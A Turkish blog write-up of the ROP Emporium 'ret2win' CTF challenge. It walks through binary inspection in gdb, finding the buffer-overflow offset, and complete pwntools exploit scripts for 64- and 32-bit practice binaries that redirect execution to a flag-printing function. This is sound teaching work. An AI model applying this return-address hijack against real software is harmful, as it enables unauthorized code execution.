Avatar
Ben Süleyman ERGEN. Siber güvenlik benim alanımdır. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Rop Emporium ret2win WRITEUP

Rop Emporium ret2win WRITEUP

Herkese iyi günler.

Rop Emporium binary exploitation soruları içeren bir ctf dir. Bu ctf'nin amacı return orianted programming (rop) mantığını öğretmektir.

Bu sorulardaki binary dosyalarda NX yani "not exacutable" özelliği etkindir. Bu yüzden stack içine yazdığımız shell kodlar çalışmayacak. Bu yüzden binary dosyasının içerisinde hali hazırda bulunan programları kullanmamız gerekecektir.

x64

İnceleme

Öncelikle binary dosyasını checksec ile inceliyoruz.

$ checksec ret2win
[*] '/home/hello/CTF/rop/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Öncelikle buradakileri açıklayalım.

  • Binary dosyasının yapısı 64 bit mimarisini kullanıyor.
  • Stack canary koruması yok.
  • NX biti etkin. Yani stack çalıştırılabilir değil

Programı çalıştıralım.

$ ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> asdf

Exiting

32 byte kapasitesi olan bir alana (buffer) 50 byte yazmaya çalışıyoruz. Yani 32 byte tan sonrası bir takım değerleri ve $rip registerı değerlerini değiştirecek. Bizim amacımız ise buffera fazladan veri girerek programın çalışma şeklini değiştirmek.

Programı gdb ile incelemeye başlayalım. Öncelikle programdaki fonksiyonları listeliyorum.

$ gdb ret2win
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x00000000004005a0  _init
0x00000000004005d0  puts@plt
0x00000000004005e0  system@plt
0x00000000004005f0  printf@plt
0x0000000000400600  memset@plt
0x0000000000400610  __libc_start_main@plt
0x0000000000400620  fgets@plt
0x0000000000400630  setvbuf@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  main
0x00000000004007b5  pwnme
0x0000000000400811  ret2win
0x0000000000400840  __libc_csu_init
0x00000000004008b0  __libc_csu_fini
0x00000000004008b4  _fini

Programda tanımlı/kullanılan fonksiyonlar yukarıdaki gibi. Burada dikkatimizi main, pwnme ve ret2win fonksiyonları çekiyor.Bu fonksiyonları disassamble işlemine sokup biraz daha yakından inceleyelim.

Öncelikle main fonksiyonundan başlıyorum.

gef➤  disassemble main
Dump of assembler code for function main:
   0x0000000000400746 <+0>:	push   rbp
   0x0000000000400747 <+1>:	mov    rbp,rsp
   0x000000000040074a <+4>:	mov    rax,QWORD PTR [rip+0x20090f]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400751 <+11>:	mov    ecx,0x0
   0x0000000000400756 <+16>:	mov    edx,0x2
   0x000000000040075b <+21>:	mov    esi,0x0
   0x0000000000400760 <+26>:	mov    rdi,rax
   0x0000000000400763 <+29>:	call   0x400630 <setvbuf@plt>
   0x0000000000400768 <+34>:	mov    rax,QWORD PTR [rip+0x200911]        # 0x601080 <stderr@@GLIBC_2.2.5>
   0x000000000040076f <+41>:	mov    ecx,0x0
   0x0000000000400774 <+46>:	mov    edx,0x2
   0x0000000000400779 <+51>:	mov    esi,0x0
   0x000000000040077e <+56>:	mov    rdi,rax
   0x0000000000400781 <+59>:	call   0x400630 <setvbuf@plt>
   0x0000000000400786 <+64>:	mov    edi,0x4008c8
   0x000000000040078b <+69>:	call   0x4005d0 <puts@plt>
   0x0000000000400790 <+74>:	mov    edi,0x4008e0
   0x0000000000400795 <+79>:	call   0x4005d0 <puts@plt>
   0x000000000040079a <+84>:	mov    eax,0x0
   0x000000000040079f <+89>:	call   0x4007b5 <pwnme>
   0x00000000004007a4 <+94>:	mov    edi,0x4008e8
   0x00000000004007a9 <+99>:	call   0x4005d0 <puts@plt>
   0x00000000004007ae <+104>:	mov    eax,0x0
   0x00000000004007b3 <+109>:	pop    rbp
   0x00000000004007b4 <+110>:	ret    
End of assembler dump.

Main fonksiyonu bazı işlemler yapıyor, ekrana bir şeyler yazdırıyor ve ardından pwnme fonksiyonunu çağırıyor. Ekrana ne yazdırdığını şu şekilde bulabiliriz.

gef➤  x/s 0x4008c8
0x4008c8:	"ret2win by ROP Emporium"

Burayı biraz açıklayalım. x gdb de bir şeyler yazdırmak için kullanılır. x ten sonra gelen s ise yazdırılmak istenen şeyin string (aslında karakter dizesi) olduğunu belirtir. Bu şekilde string bir data terminale düzgün bir şekilde yazdırılabilir. Ardından 0x4008c8 geliyor. Bu ise bir bellek adresi. Yazdırmak istediğimiz verinin adresi.

Özetle main fonksiyonu üstbilgi yazdırdıktan sonra pwnme fonksiyonunu çalıştırıyor. Şimdi ise bu fonksiyonu inceleyelim.

gef➤  disassemble pwnme
Dump of assembler code for function pwnme:
   0x00000000004007b5 <+0>:	push   rbp
   0x00000000004007b6 <+1>:	mov    rbp,rsp
   0x00000000004007b9 <+4>:	sub    rsp,0x20
   0x00000000004007bd <+8>:	lea    rax,[rbp-0x20]
   0x00000000004007c1 <+12>:	mov    edx,0x20
   0x00000000004007c6 <+17>:	mov    esi,0x0
   0x00000000004007cb <+22>:	mov    rdi,rax
   0x00000000004007ce <+25>:	call   0x400600 <memset@plt>
   0x00000000004007d3 <+30>:	mov    edi,0x4008f8
   0x00000000004007d8 <+35>:	call   0x4005d0 <puts@plt>
   0x00000000004007dd <+40>:	mov    edi,0x400978
   0x00000000004007e2 <+45>:	call   0x4005d0 <puts@plt>
   0x00000000004007e7 <+50>:	mov    edi,0x4009dd
   0x00000000004007ec <+55>:	mov    eax,0x0
   0x00000000004007f1 <+60>:	call   0x4005f0 <printf@plt>
   0x00000000004007f6 <+65>:	mov    rdx,QWORD PTR [rip+0x200873]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x00000000004007fd <+72>:	lea    rax,[rbp-0x20]
   0x0000000000400801 <+76>:	mov    esi,0x32
   0x0000000000400806 <+81>:	mov    rdi,rax
   0x0000000000400809 <+84>:	call   0x400620 <fgets@plt>
   0x000000000040080e <+89>:	nop
   0x000000000040080f <+90>:	leave  
   0x0000000000400810 <+91>:	ret    
End of assembler dump.

Burada ise ekrana bir şeyler yazdırdıktan sonra fgets ile veri okuyor. Burası bizim için önemli olan kısım. Zafiyet burada.

Dikkatinizi başka bir fonksiyona çekmek isterim. Fonksiyon listesinde ret2win fonksiyonunu görmüş olmamıza rağmen herhangi bir yerde kullanılmıyor. Aynı şekilde fonksiyonu incelediğimizde ise bazı önemli yaptığı işlemleri görebiliyoruz.

gef➤  disassemble ret2win 
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:	push   rbp
   0x0000000000400812 <+1>:	mov    rbp,rsp
   0x0000000000400815 <+4>:	mov    edi,0x4009e0
   0x000000000040081a <+9>:	mov    eax,0x0
   0x000000000040081f <+14>:	call   0x4005f0 <printf@plt>
   0x0000000000400824 <+19>:	mov    edi,0x4009fd
   0x0000000000400829 <+24>:	call   0x4005e0 <system@plt>
   0x000000000040082e <+29>:	nop
   0x000000000040082f <+30>:	pop    rbp
   0x0000000000400830 <+31>:	ret    
End of assembler dump.

Bu fonksiyon öncelikle ekrana 0x4009e0 adresindeki bir stringi yazdırıyor. x ile yazdırdığımızda şunu görüyoruz.

gef➤  x/s 0x4009e0
0x4009e0:	"Thank you! Here's your flag:"

Biraz aşağıda system fonksiyonu çağrılıyor. Bu fonksiyon sistem üzerinde komut çalıştırmayı sağlıyor. Çalıştırılan komut ise şu şekilde:

gef➤  x/s 0x4009fd
0x4009fd:	"/bin/cat flag.txt"

Yani bu fonksiyon flag.txt dosyasını cat komutu ile ekrana yazdırıyor. Bizim amacımızda bu zaten. Yani ret2win fonksiyonunu çağırarak flag.txt dosyasını okumak.

Öncelikle stack boyutunun ne kadar olduğunu öğrenelim. Bu işlem için pattern create ve pattern offset komutlarını kullanacağım.

Öncelikle pattern create ile bir pattern oluşturalım. patterni kendini tekrar etmeyen eşsiz bir dizi gibi düşünebilirsiniz. Bu özelliği ile pattern içindeki belirli bir yeri oldukça kolay bir şekilde bulabileceğiz. Bu bize buffer overflow da stack boyutunu bulmamızı sağlayacak. Öncelikle 100 karakterlik bir pattern oluşturalım.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'

Oluşturduktan sonra patterne dikkatlice bakın. Her 8 karakterde bir karakter değiştirerek kendini tekrar etmeyen bir dizi oluşturuyor.

Şimdi ise programı çalıştıralım ve bu patterni girdi olarak verelim.

gef➤  r
Starting program: /home/hello/CTF/rop/ret2win/ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400810 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdc00  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaag"
$rbx   : 0x0000000000400840  →  <__libc_csu_init+0> push r15
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffdc28  →  "faaaaaaag"
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)
$rsi   : 0x00000000006022a1  →  "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]"
.......................................
.......................................

$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────── stack ────
.......................................
.......................................
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x400810 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400810 → pwnme()

Görüldüğü üzere program hata verdi. Burada olan şey şu: bir stacka beklenenden daha fazla değer yazdığımız için, fazla yazdığımız kısım bazı register ların gösterdiği adreslerdeki verileri değiştirdi yada bozdu. Bu durumda program çalışmaya devam edemedi ve sonlandı.

Daha detayına inersek fonksiyon sonlandıktan sonra fonksiyonu çağrıldığı satıra tekrar dönmesi terekir ki kaldığı yerden çalışmaya devam etsin. Biz rsp registerinin değerini değiştirerek fonksiyonun normalde geri dönmesi gereken adresi değiştiriyoruz. Bu örnekte rps nin gösterdiği adres değeri "faaaaaaag" (gdb çıktısından rsp registerını bulun.) olacaktır. Buda geçerli bir bellek adresi olmadığından program fonksiyondan geri dönemeyecek ve bum :)

Şimdi stack boyutunu bulalım. Bunun için pattern offset komutunu kullnıyorum.

gef➤  pattern offset $rsp
[+] Searching '$rsp'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)

rsp register içerisindeki değeri pattern içerisinde arattığımızda buffer boyutunu buluyoruz. Bu değer ise 40 karakter. Yani 40 karakterden sonra yazdığımız her bir karakter rip registeri ilerisine yazılacak. Buda fonksiyonun geri döneceği adrestir.

Exploit

Öncelikle 40 karakter ile bufferı dolduduyoruz. Ardından gelen 8 karakter fonksiyonun bittikten sonra geri döneceği adres olacak. O zaman exploiti olaşturmaya başlayalım.

#!/bin/python3
from pwn import *

elf = ELF("./ret2win")
log.info(hex(elf.symbols.ret2win))

Programda ELF fonksiyonu ile elf tablosundaki değerleri okuyoruz. Bu tablodan ret2win fonksiyonunun adresini alıyoruz.

rop  = b"A" * 40 # bufferı doldur
rop += p64(elf.symbols.ret2win + 2) # dönüş adresine ret2win adresini yerleştir

Öncelikle 40 tane A karakteri ile bufferı dolduruyoruz. Ardından fonksiyonun dönüş değerini değiştirmek için ret2win fonksiyonunun adresini yerleştiriyoruz.

Ardından programı çalıştırıp gerekli payloadı programa veriyoruz. Sonuç ise şu:

$ python3 e-64.py 
[*] '/home/hello/CTF/rop/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] 0x400811
[+] Starting local process './ret2win': pid 45084
[*] Switching to interactive mode
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2win' stopped with exit code 0 (pid 45084)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted

Full exploit kodu şu şekilde:

#!/bin/python3
from pwn import *

elf = ELF("./ret2win")
log.info(hex(elf.symbols.ret2win))

rop  = b"A" * 40
rop += p64(elf.symbols.ret2win + 2)

p = process("./ret2win")
p.sendlineafter("> ", rop)
p.interactive()

NOT: Benim kullandığım bilgisayarda doğrudan ret2win fonksiyonunun adresini rip registeri üzerine yazdığımda bazı hatalar ile karşılaştım. Fakat rip registerine yazdığım değeri 2 arttırdığım zaman sorunsuz bir şekilde çalıştı. İnternetten araştırma yaptımsa da düzgün bir açıklama bulamadım. Aynı şekilde bu soru için çeşitli writeup lar okuduğumda ise bufferdan sonra soğrudan ret2win fonksiyonunun adresinin yazıldığını gördüm. Eğer kendi bilgisayarınızda benim bu yazıda yazdığım exploit çalışmazsa lütfen bufferdan sonda yazdığınız adresi gözden geçirin.

x32

Aynı binary dosyasının 32 bit sürümünde de mantık aynı. Sadece ufak bazı değişiklikler var. Öncelikle checksec ile inceleyelim.

$ checksec ret2win32
[*] '/home/hello/CTF/rop/ret2win32/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Görüldüğü üzere dosyamız 32 bit mimarisini kullanıyor ve NX (not executable) biti etkin. Şimdi stack boyutunu bulalım.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'

gef➤  r
Starting program: /home/hello/CTF/rop/ret2win32/ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
................................................
................................................
................................................
gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)

Buffer boyutumuz 44 karakter. Yani 44 karakterden sonraki 4 karakter dönüş adresimiz olacak. Bu durumda 44 karakter buffer + ret2win fonkiyonunun adresi ile flag dosyasını okuyabiliriz.

#!/bin/python3
from pwn import *

elf = ELF("./ret2win32")
ret2win = elf.symbols.ret2win
log.info(ret2win)

rop  = b"A" * 44
rop += p32(ret2win)

p = process("./ret2win32")
p.sendline(rop)
p.interactive()

all tags